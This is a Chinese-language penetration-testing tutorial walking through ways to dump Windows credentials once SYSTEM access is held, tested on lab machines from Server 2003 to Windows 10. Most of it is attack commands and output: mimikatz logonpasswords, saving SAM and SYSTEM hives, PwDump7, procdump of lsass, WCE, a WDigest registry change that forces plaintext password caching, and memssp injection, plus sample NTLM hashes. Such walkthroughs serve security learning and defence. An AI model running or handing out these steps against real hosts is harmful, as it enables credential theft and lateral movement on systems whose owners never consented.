本文首发乌鸦安全知识星球!

公众号:乌鸦安全

更新时间:2022.08.04

1. 说明

本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。

https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2

2. Windows获取凭证或密码

一般来说,在我们获取到Windowssystem权限之后,一般都喜欢去看下密码,哪怕是hash,也想尝试去解一下,Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。
关于NTLM的知识,在这里就不在展开了,有兴趣的可以去搜下。

3. 环境准备

本次环境共准备了Windows server2003Windows7Windows10Windows server2012,按照他们的特点,有针对的进行实操获取。
本文默认已获取system权限的情况下进行操作。

4. 获取密码或hash方法

4.1 ** Mimikatz**

这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀。
原版工具:https://github.com/gentilkiwi/mimikatz

使用方法:

privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

4.1.1 server2003

systeminfo查看当前的电脑是32位的,所以在这里就使用32位的来试下:

执行命令之后可以直接获取到明文:

privilege::debug
sekurlsa::logonpasswords

4.1.2 windows10

在这里先关闭Windows10Windows defender,在这里并不对其进行免杀研究,直接使用x64位的之后,来获取hash

执行命令之后只能够获取hash,不能够直接获取明文:

209c6174da490caeb422f3fa5a7ae634

可以通过第三方的方式来获取密码:

当然,mimikatz也可以使用非交互的方式来获取hash

mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

4.2 注册表导出hash

有时候,因为某些问题,导致无法直接获取hash,所以在这里还可以使用注册表导出hash的方式来进行,具体的步骤如下:
在靶机上使用以下命令(需要system权限):

靶机上执行:
reg save HKLM\SYSTEM system.hivreg save HKLM\SAM sam.hivreg save hklm\security security.hiv在本地使用mimikatz执行:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

4.2.1 server2003

打开cmd执行命令,导出system.hivsam.hivsecurity.hiv文件:

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv

最后使用mimikatz执行,在非靶标机器上,不需要system权限:

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

RID  : 000001f4 (500)
User : AdministratorHash LM  : f0d412bd764ffe81aad3b435b51404eeHash NTLM: 209c6174da490caeb422f3fa5a7ae634

直接去查询即可。

4.2.2 Windows10

使用同样的方法导出之后再解密:

获取到hash信息:

User : adminHash NTLM: 209c6174da490caeb422f3fa5a7ae634

4.3 pass64.exe

这个文件是我早些时候渗透的时候获得的,在win78等低于Windows10的系统上(这种说法不严谨),使用system权限运行能够直接获取64位系统的账号和密码信息。
这个工具应该是PwDump7工具的魔改版本。
win10上因为无法获取账号密码报错:

win7环境下:

4.4 PwDump7

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip

4.4.1 server2003

可以在Windows2003上执行,手工将得到的结果保存在1.txt中:
PwDump7.exe > 1.txt

Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

4.4.2 windows10

4.5 Procdump+Mimikatz

ProcDump是一个命令行程序,可以将系统正在运行的进程转存储生成为dump文件,微软自己的工具,理论上来说不应该会被杀。
它的原理是Procdump导出lsass.exe的转储文件,使用mimikatz读取器中的hash。
如果对方机器是win10以下的,都可以获取明文密码。

地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法:
dumplsass.exe

32位:
procdump.exe -accepteula -ma lsass.exe lsass.dmp64位:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz读取:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.5.1 server2003

无法使用

4.5.2 Windows10

执行命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后使用mimikatz读取:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.6 WCE

官网地址:
https://www.ampliasecurity.com/research.html
32位下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

参数解释:
-l          列出登录的会话和NTLM凭据(默认值)
-s               修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r                不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c               用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e               不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o               保存所有的输出到一个文件 参数:<文件名>
-i                指定一个LUID代替使用当前登录会话 参数:<luid>
-d               从登录会话中删除NTLM凭据 参数:<luid>
-a               使用地址 参数: <地址>
-f                强制使用安全模式
-g               生成LM和NT的哈希 参数<密码>
-K               缓存kerberos票据到一个文件(unix和windows wce格式)
-k               从一个文件中读取kerberos票据并插入到windows缓存中
-w              通过摘要式认证缓存一个明文的密码
-v               详细输出

使用方法:wce.exe -l或者直接wce

4.6.1 server2003

4.6.2 Windows10

无法使用:

4.6.3 Windows7

正常执行:

4.7 SqlDumper + mimikatz(失败)

因为没有安装sqlserver,可能导致最后无法执行成功。
可以从https://www.xiazaiba.com/html/35382.html下载工具(我在win10 defender下是默认无毒的)
首先查看下当前lsass.exe的进程号:
tasklist /svc |findstr lsass.exe

找到Sqldumper.exe的安装路径,使用管理员权限的cmd导出dump文件,使用方法:

Sqldumper.exe ProcessID 0 0x01100

在这里使用就是:(失败

放一个成功的图:

3.mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”

5. Windows获取明文密码

在这里主要是获取Windows高版本的明文密码,因为在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
本次环境Windows server2012,本文默认已获取system权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。

6. 获取明文密码方法

6.1 修改注册表

前提条件:

  • system权限
  • 需要锁屏后重新登录

在这里依旧使用mimikatz进行密码的抓取,默认情况下是无法获取明文信息的:

privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

再使用命令锁屏:(这个命令可以使用用户权限来执行)

rundll32.exe user32.dll,LockWorkStation

接下来等待用户再次登录一次就可以抓到了:

如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)

修改不记录明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f


再次重启下就可以了:(锁屏无效)

privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

6.2 mimikatz插ssp记录密码

需要的条件:

  • system权限
  • 锁屏并重新登入

在这里使用mimikatz来实现:

privilege::debugmisc::memssp

修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码:

C:\Windows\System32\mimilsa.log

7. 总结

其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。

Windows密码凭证获取学习相关推荐

  1. RDP远程桌面密码凭证获取

    前言 在渗透过程中获取到一台Windows服务器后,可以尝试获取当前机器保存的RDP远程桌面密码凭证,进而在内网横向渗透中进一步扩大战果. 0x01 密码凭证获取 查看当前主机本地连接过的目标机器记录 ...

  2. [内网]RDP远程桌面密码凭证获取

    文章目录 RDP保存凭据 通过注册表查看当前主机本地连接过的目标机器记录 查看当前主机保存的RDP凭据 查看本地用户是否存有RDP密码文件 通过密码文件获取guidMasterKey的值 根据guid ...

  3. Windows远程桌面(RDP)密码凭证获取 (゚益゚メ) 渗透测试

    文章目录 Windows远程桌面(RDP) 查看连接记录 获取连接密码 Windows远程桌面(RDP) Windows自带的远程桌面功能非常强大,大部分Windows集群管理员都会直接使用远程桌面, ...

  4. 获取Windows系统密码凭证 (゚益゚メ) 渗透测试

    文章目录 Windows 加密简介 Windows 哈希过程 Windows 凭证获取 使用powershell脚本 Pwddump7 使用猕猴桃(mimikatz) 常用命令 本地非交互式凭证获取 ...

  5. windows密码获取

    概述 渗透测试过程中对于windows 系统中的密码获取是十分重要的一步,获取密码后我们可以对内网中其他机器进行撞库,快速.批量拿下其他服务器权限. windows密码获取方法 最主流的获取windo ...

  6. Windows内网协议学习Kerberos篇之PAC

    转自:https://www.anquanke.com/post/id/192810 author: daiker@360RedTeam 0x00 前言 这是kerbreos篇的最后一篇文章了.这篇文 ...

  7. IdentityServer4系列 | 资源密码凭证模式

    一.前言 从上一篇关于客户端凭证模式中,我们通过创建一个认证授权访问服务,定义一个API和要访问它的客户端,客户端通过IdentityServer上请求访问令牌,并使用它来控制访问API.其中,我们也 ...

  8. 分享Silverlight/WPF/Windows Phone一周学习导读(8月28日-9月3日)

    分享Silverlight/WPF/Windows Phone一周学习导读(8月28日-9月3日) 本周Silverlight学习资源更新: Silverlight动画 cutylongshen Si ...

  9. 内网安全之:Windows 密码抓取

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Wi ...

最新文章

  1. Python2.7 安装numpy报错解决方法
  2. hdu1914 稳定婚姻问题
  3. Python3 基础学习笔记 C05【字典】
  4. 【python】yaml文件操作
  5. 以后台服务的形式启动nodejs应用
  6. 自定义jQuery 跨域请求 callback 函数名
  7. 编译安装wpa_supplicant
  8. NSIS求助!!!,如有大佬知道怎么办,请留言回复!!!感谢!!!
  9. 不用找,你想要的廊ps后期素材素材都在这里
  10. 哈工大计算机系名单,哈工大计算机学部公布拟录取名单,计算机科学与技术仅录29人!...
  11. c语言编程齿轮模数选择,如何画齿轮,一看就懂
  12. 天地图引擎加载自定义WMTS图层
  13. Myeclipse10下载,安装,破解,插件,优化介绍
  14. obv代码matlab,obv指标源代码,标准obv指标源代码
  15. React 高阶组件HOC详解
  16. 转换MP3工具(Streambox RipperRM)
  17. 傅立叶变换(Fourier Transform)分析理解
  18. python实现打印菱形
  19. 计算机工程实习报告PCB,计算机工程实习实习报告.doc
  20. PROFINET基础知识介绍

热门文章

  1. wxX11移植到arm板上
  2. 最厉害的面试技巧都有哪些?
  3. NOI 4.5 动态规划 4979:海贼王之伟大航路(深搜剪枝)
  4. IT时代周刊:2009年IT十大争议人物
  5. Fragment重叠问题简单解决方案
  6. python ogr_GDAL/OGR概述
  7. Opencv学习笔记——视频进度条
  8. Java毕设项目派大星水产商城mp4(java+VUE+Mybatis+Maven+Mysql)
  9. MySQL The server time zone value 'Öйú±ê׼ʱ¼ä' is unrecognized or represents more than one time zo
  10. 端口号被占用:The Tomcat connector configured to listen on port “端口号“ failed to start.